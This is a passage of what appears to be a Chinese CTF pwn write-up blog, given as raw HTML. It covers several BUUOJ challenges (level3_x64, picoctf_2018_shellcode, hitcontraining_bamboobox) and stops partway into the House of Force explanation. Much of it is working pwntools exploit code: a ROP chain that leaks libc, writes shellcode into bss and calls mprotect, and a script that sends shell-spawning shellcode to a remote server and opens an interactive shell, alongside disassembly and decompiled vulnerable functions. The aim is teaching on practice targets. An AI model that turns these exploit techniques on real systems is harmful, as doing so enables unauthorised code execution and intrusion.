class="number">26861</span>)</span><br><span class="line"><span class="comment">#p = process(&quot;./level3_x64&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./level3_x64&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-x64-2.23.so&#x27;</span>)</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>,word_size=<span class="string">&#x27;64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line"></span><br><span class="line">pop_rdi = <span class="number">0x4006b3</span></span><br><span class="line">pop_rsi_r15_ret = <span class="number">0x4006b1</span></span><br><span class="line"> </span><br><span class="line">payload = <span class="number">0x88</span> * <span class="string">&#x27;a&#x27;</span> + p64(pop_rsi_r15_ret) + p64(elf.got[<span class="string">&quot;write&quot;</span>]) + p64(<span class="number">0</span>) + p64(pop_rdi) + p64(<span class="number">1</span>) + p64(elf.symbols[<span class="string">&quot;write&quot;</span>]) + p64(elf.symbols[<span class="string">&quot;main&quot;</span>])</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(payload)</span><br><span class="line">write_addr = u64(p.recv(<span class="number">8</span>))</span><br><span class="line">libc_base = write_addr - libc.symbols[<span class="string">&quot;write&quot;</span>]</span><br><span class="line">mprotect_addr = libc_base + libc.symbols[<span class="string">&quot;mprotect&quot;</span>]</span><br><span class="line"><span class="comment">########### read shell code to bss</span></span><br><span class="line">payload = <span class="number">0x88</span> * <span class="string">&#x27;a&#x27;</span> + p64(pop_rdi) + p64(<span class="number">0</span>) + p64(pop_rsi_r15_ret) + p64(elf.bss()) + p64(<span class="number">0</span>) + p64(elf.symbols[<span class="string">&quot;read&quot;</span>]) + p64(elf.symbols[<span class="string">&quot;main&quot;</span>])</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.sendline(shellcode)</span><br><span class="line"></span><br><span class="line"><span class="comment">###########write bss to got table</span></span><br><span class="line">bss_got = <span class="number">0x600A48</span></span><br><span class="line">payload = <span class="number">0x88</span> * <span class="string">&#x27;a&#x27;</span> + p64(pop_rdi) + p64(<span class="number">0</span>) + p64(pop_rsi_r15_ret) + p64(bss_got) + p64(<span class="number">0</span>) + p64(elf.symbols[<span class="string">&quot;read&quot;</span>]) + p64(elf.symbols[<span class="string">&quot;main&quot;</span>])</span><br><span class="line">p.recv()</span><br><span class="line">p.send(payload)</span><br><span class="line">p.send(p64(elf.bss()))</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"><span class="comment">###########write mprotect to got table</span></span><br><span class="line">mprotect_got = <span class="number">0x600A50</span></span><br><span class="line">payload = <span class="number">0x88</span> * <span class="string">&#x27;a&#x27;</span> + p64(pop_rdi) + p64(<span class="number">0</span>) + p64(pop_rsi_r15_ret) + p64(mprotect_got) + p64(<span class="number">0</span>) + p64(elf.symbols[<span class="string">&quot;read&quot;</span>]) + p64(elf.symbols[<span class="string">&quot;main&quot;</span>])</span><br><span class="line">p.recv()</span><br><span class="line">p.send(payload)</span><br><span class="line">p.send(p64(mprotect_addr))</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">payload = <span class="number">0x88</span> * <span class="string">&#x27;a&#x27;</span> + p64(<span class="number">0x4006A6</span>) + <span class="string">&quot;ret_addr&quot;</span> + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(mprotect_got) + p64(<span class="number">7</span>) +p64(<span class="number">0x1000</span>)+p64(<span class="number">0x600000</span>)</span><br><span class="line">payload += p64(<span class="number">0x400690</span>)</span><br><span class="line">payload += <span class="string">&quot;ret_addr&quot;</span> + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(bss_got) + p64(<span class="number">0</span>) + p64(<span class="number">0</span>) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(<span class="number">0x400690</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.send(payload)</span><br><span class="line"> </span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x43-picoctf-2018-shellcode"><a href="#0x43-picoctf-2018-shellcode" class="headerlink" title="0x43.picoctf_2018_shellcode"></a>0x43.picoctf_2018_shellcode</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec PicoCTF_2018_shellcode</span><br><span class="line">[*] &#x27;/home/yutao/Desktop/PicoCTF_2018_shellcode&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure>

<p>主函数：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">.text:080488A1                 public main</span><br><span class="line">.text:080488A1 main            proc near               ; DATA XREF: _start+17↑o</span><br><span class="line">.text:080488A1</span><br><span class="line">.text:080488A1 var_A0          = byte ptr -0A0h</span><br><span class="line">.text:080488A1 var_C           = dword ptr -0Ch</span><br><span class="line">.text:080488A1 var_4           = dword ptr -4</span><br><span class="line">.text:080488A1 argc            = dword ptr  8</span><br><span class="line">.text:080488A1 argv            = dword ptr  0Ch</span><br><span class="line">.text:080488A1 envp            = dword ptr  10h</span><br><span class="line">.text:080488A1</span><br><span class="line">.text:080488A1 ; __unwind &#123;</span><br><span class="line">.text:080488A1                 lea     ecx, [esp+4]</span><br><span class="line">.text:080488A5                 and     esp, 0FFFFFFF0h</span><br><span class="line">.text:080488A8                 push    dword ptr [ecx-4]</span><br><span class="line">.text:080488AB                 push    ebp</span><br><span class="line">.text:080488AC                 mov     ebp, esp</span><br><span class="line">.text:080488AE                 push    ecx</span><br><span class="line">.text:080488AF                 sub     esp, 0A4h</span><br><span class="line">.text:080488B5                 mov     eax, stdout</span><br><span class="line">.text:080488BA                 push    0</span><br><span class="line">.text:080488BC                 push    2</span><br><span class="line">.text:080488BE                 push    0</span><br><span class="line">.text:080488C0                 push    eax</span><br><span class="line">.text:080488C1                 call    setvbuf</span><br><span class="line">.text:080488C6                 add     esp, 10h</span><br><span class="line">.text:080488C9                 call    getegid</span><br><span class="line">.text:080488CE                 mov     [ebp+var_C], eax</span><br><span class="line">.text:080488D1                 sub     esp, 4</span><br><span class="line">.text:080488D4                 push    [ebp+var_C]</span><br><span class="line">.text:080488D7                 push    [ebp+var_C]</span><br><span class="line">.text:080488DA                 push    [ebp+var_C]</span><br><span class="line">.text:080488DD                 call    setresgid</span><br><span class="line">.text:080488E2                 add     esp, 10h</span><br><span class="line">.text:080488E5                 sub     esp, 0Ch</span><br><span class="line">.text:080488E8                 push    offset aEnterAString ; &quot;Enter a string!&quot;</span><br><span class="line">.text:080488ED                 call    puts</span><br><span class="line">.text:080488F2                 add     esp, 10h</span><br><span class="line">.text:080488F5                 sub     esp, 0Ch</span><br><span class="line">.text:080488F8                 lea     eax, [ebp+var_A0]</span><br><span class="line">.text:080488FE                 push    eax</span><br><span class="line">.text:080488FF                 call    vuln</span><br><span class="line">.text:08048904                 add     esp, 10h</span><br><span class="line">.text:08048907                 sub     esp, 0Ch</span><br><span class="line">.text:0804890A                 push    offset aThanksExecutin ; &quot;Thanks! Executing now...&quot;</span><br><span class="line">.text:0804890F                 call    puts</span><br><span class="line">.text:08048914                 add     esp, 10h</span><br><span class="line">.text:08048917                 lea     eax, [ebp+var_A0]</span><br><span class="line">.text:0804891D                 call    eax &lt;==这里有问题</span><br><span class="line">.text:0804891F                 mov     eax, 0</span><br><span class="line">.text:08048924                 mov     ecx, [ebp+var_4]</span><br><span class="line">.text:08048927                 leave</span><br><span class="line">.text:08048928                 lea     esp, [ecx-4]</span><br><span class="line">.text:0804892B                 retn</span><br><span class="line">.text:0804892B ; &#125; // starts at 80488A1</span><br><span class="line">.text:0804892B main            endp</span><br></pre></td></tr></table></figure>

<p>可以知道一个是vuln那里，还有一个是call eax那里有点可疑。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">.text:0804887C                 public vuln</span><br><span class="line">.text:0804887C vuln            proc near               ; CODE XREF: main+5E↓p</span><br><span class="line">.text:0804887C</span><br><span class="line">.text:0804887C arg_0           = dword ptr  8</span><br><span class="line">.text:0804887C</span><br><span class="line">.text:0804887C ; __unwind &#123;</span><br><span class="line">.text:0804887C                 push    ebp</span><br><span class="line">.text:0804887D                 mov     ebp, esp</span><br><span class="line">.text:0804887F                 sub     esp, 8</span><br><span class="line">.text:08048882                 sub     esp, 0Ch</span><br><span class="line">.text:08048885                 push    [ebp+arg_0]</span><br><span class="line">.text:08048888                 call    gets</span><br><span class="line">.text:0804888D                 add     esp, 10h</span><br><span class="line">.text:08048890                 sub     esp, 0Ch</span><br><span class="line">.text:08048893                 push    [ebp+arg_0]</span><br><span class="line">.text:08048896                 call    puts</span><br><span class="line">.text:0804889B                 add     esp, 10h</span><br><span class="line">.text:0804889E                 nop</span><br><span class="line">.text:0804889F                 leave</span><br><span class="line">.text:080488A0                 retn</span><br><span class="line">.text:080488A0 ; &#125; // starts at 804887C</span><br><span class="line">.text:080488A0 vuln            endp</span><br></pre></td></tr></table></figure>

<p>调用vuln的时候课看出来是只有一个参数<code>var_A0</code>，vuln中调用gets后写入到<code>var_A0</code>中，之后直接call<code>var_A0</code>的地址，so：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>,arch=<span class="string">&#x27;i386&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./PicoCTF_2018_shellcode&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27093</span>)</span><br><span class="line">payload = asm(shellcraft.sh())</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x44-hitcontraining-bamboobox"><a href="#0x44-hitcontraining-bamboobox" class="headerlink" title="0x44.hitcontraining_bamboobox"></a>0x44.hitcontraining_bamboobox</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec bamboobox </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/bamboobox&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<p>main：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">void</span> (**v4)(<span class="keyword">void</span>); <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v6; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  v4 = <span class="built_in">malloc</span>(<span class="number">0x10</span>uLL);</span><br><span class="line">  *v4 = hello_message;</span><br><span class="line">  v4[<span class="number">1</span>] = goodbye_message;</span><br><span class="line">  (*v4)();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">    <span class="keyword">switch</span> ( atoi(buf) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        show_item();</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        add_item();</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        change_item();</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">        remove_item();</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">        v4[<span class="number">1</span>]();</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;invaild choice!!!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>show_item：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">show_item</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( !num )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;No item in the box&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">99</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( *(&amp;malloc_addr + <span class="number">2</span> * i) )</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%d : %s&quot;</span>, i, *(&amp;malloc_addr + <span class="number">2</span> * i));</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(byte_401089);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>add：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">add_item</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+4h] [rbp-1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> size; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v4; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( num &gt; <span class="number">99</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;the box is full&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please enter the length of item name:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">    size = atoi(buf);</span><br><span class="line">    <span class="keyword">if</span> ( !size )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;invaild length&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">99</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;malloc_addr)[<span class="number">2</span> * i] )</span><br><span class="line">      &#123;</span><br><span class="line">        *(&amp;malloc_size + <span class="number">4</span> * i) = size;</span><br><span class="line">        (&amp;malloc_addr)[<span class="number">2</span> * i] = <span class="built_in">malloc</span>(size);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Please enter the name of item:&quot;</span>);</span><br><span class="line">        *((&amp;malloc_addr)[<span class="number">2</span> * i] + read(<span class="number">0</span>, (&amp;malloc_addr)[<span class="number">2</span> * i], size)) = <span class="number">0</span>;</span><br><span class="line">        ++num;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">change_item</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> index; <span class="comment">// [rsp+4h] [rbp-2Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> nptr[<span class="number">8</span>]; <span class="comment">// [rsp+20h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( num )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please enter the index of item:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">    index = atoi(buf);</span><br><span class="line">    <span class="keyword">if</span> ( (&amp;malloc_addr)[<span class="number">2</span> * index] )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter the length of item name:&quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, nptr, <span class="number">8uLL</span>);</span><br><span class="line">      v2 = atoi(nptr);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter the new name of the item:&quot;</span>);</span><br><span class="line">      *((&amp;malloc_addr)[<span class="number">2</span> * index] + read(<span class="number">0</span>, (&amp;malloc_addr)[<span class="number">2</span> * index], v2)) = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;invaild index&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No item in the box&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>remove：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">remove_item</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( num )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please enter the index of item:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">    v1 = atoi(buf);</span><br><span class="line">    <span class="keyword">if</span> ( (&amp;malloc_addr)[<span class="number">2</span> * v1] )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">free</span>((&amp;malloc_addr)[<span class="number">2</span> * v1]);</span><br><span class="line">      (&amp;malloc_addr)[<span class="number">2</span> * v1] = <span class="number">0LL</span>;</span><br><span class="line">      *(&amp;malloc_size + <span class="number">4</span> * v1) = <span class="number">0</span>;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;remove successful!!&quot;</span>);</span><br><span class="line">      --num;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;invaild index&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No item in the box&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>除此之外，还有个magic：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __noreturn <span class="title">magic</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> fd; <span class="comment">// [rsp+Ch] [rbp-74h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">104</span>]; <span class="comment">// [rsp+10h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v2; <span class="comment">// [rsp+78h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  fd = open(<span class="string">&quot;/home/bamboobox/flag&quot;</span>, <span class="number">0</span>);</span><br><span class="line">  read(fd, buf, <span class="number">0x64</span>uLL);</span><br><span class="line">  close(fd);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, buf);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>有两种解法：1.House Of Force，2.unlink</p>
<h2 id="1-House-Of-Force"><a href="#1-House-Of-Force" class="headerlink" title="1.House Of Force"></a>1.House Of Force</h2><p>需要满足两点</p>
<ol>
<li>能够以溢出等方式控制到 top chunk 的 size 域</li>
<li>能够自由地控制堆分配尺寸的大小</li>
</ol>
<blockquote>
<p>  往低地址就是两者(low_addr-0x10)-top_addr</p>
